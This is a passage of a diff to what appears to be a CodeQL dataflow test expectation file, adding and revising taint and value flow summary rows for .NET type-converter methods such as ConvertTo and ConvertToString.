System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;df-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | @@ -6538,8 +6611,12 @@ | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;HandledEventHandler;BeginInvoke;(System.Object,System.ComponentModel.HandledEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.ComponentModel;IBindingList;ApplySort;(System.ComponentModel.PropertyDescriptor,System.ComponentModel.ListSortDirection);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;IBindingList;Find;(System.ComponentModel.PropertyDescriptor,System.Object);Argument[this].Element;ReturnValue;value;manual | @@ -6617,8 +6694,12 @@ | System.ComponentModel;MemberDescriptor;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;MemberDescriptor;get_DisplayName;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._displayName];ReturnValue;value;dfc-generated | | System.ComponentModel;MemberDescriptor;get_Name;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._name];ReturnValue;value;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;MultilineStringConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[1];ReturnValue.SyntheticField[System.ComponentModel.NestedContainer+Site._name];value;dfc-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[this];ReturnValue.SyntheticField[System.ComponentModel.Container+Site.Container];value;dfc-generated | @@ -6629,9 +6710,14 @@ | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;NullableConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;ProgressChangedEventArgs;ProgressChangedEventArgs;(System.Int32,System.Object);Argument[1];Argument[this].SyntheticField[System.ComponentModel.ProgressChangedEventArgs._userState];value;dfc-generated | @@ -6693,8 +6779,12 @@ | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ReferenceConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;RefreshEventArgs;RefreshEventArgs;(System.Object);Argument[0];Argument[this].Property[System.ComponentModel.RefreshEventArgs.ComponentChanged];value;dfc-generated | | System.ComponentModel;RefreshEventHandler;BeginInvoke;(System.ComponentModel.RefreshEventArgs,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -6708,13 +6798,21 @@ | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;ToolboxItemAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;get_ToolboxItemTypeName;();Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemFilterAttribute;ToString;();Argument[this].Property[System.ComponentModel.ToolboxItemFilterAttribute.FilterString];ReturnValue;taint;dfc-generated | @@ -6731,18 +6829,25 @@ | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.String);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.String);Argument[1];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.String);Argument[0];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | @@ -6776,15 +6881,23 @@ | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeListConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;TypeListConverter;(System.Type[]);Argument[0].Element;Argument[this];taint;df-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[1];Argument[this].Property[System.ComponentModel.WarningException.HelpUrl];value;dfc-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.WarningException.HelpTopic];value;dfc-generated | | System.Configuration.Internal;IConfigErrorInfo;get_Filename;();Argument[this];ReturnValue;taint;df-generated | @@ -6861,8 +6974,12 @@ | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | @@ -7027,20 +7144,32 @@ | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;IApplicationSettingsProvider;GetPreviousVersion;(System.Configuration.SettingsContext,System.Configuration.SettingsProperty);Argument[this];ReturnValue;taint;df-generated | | System.Configuration;IConfigurationSectionHandler;Create;(System.Object,System.Object,System.Xml.XmlNode);Argument[0].Element;ReturnValue.Element;value;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| 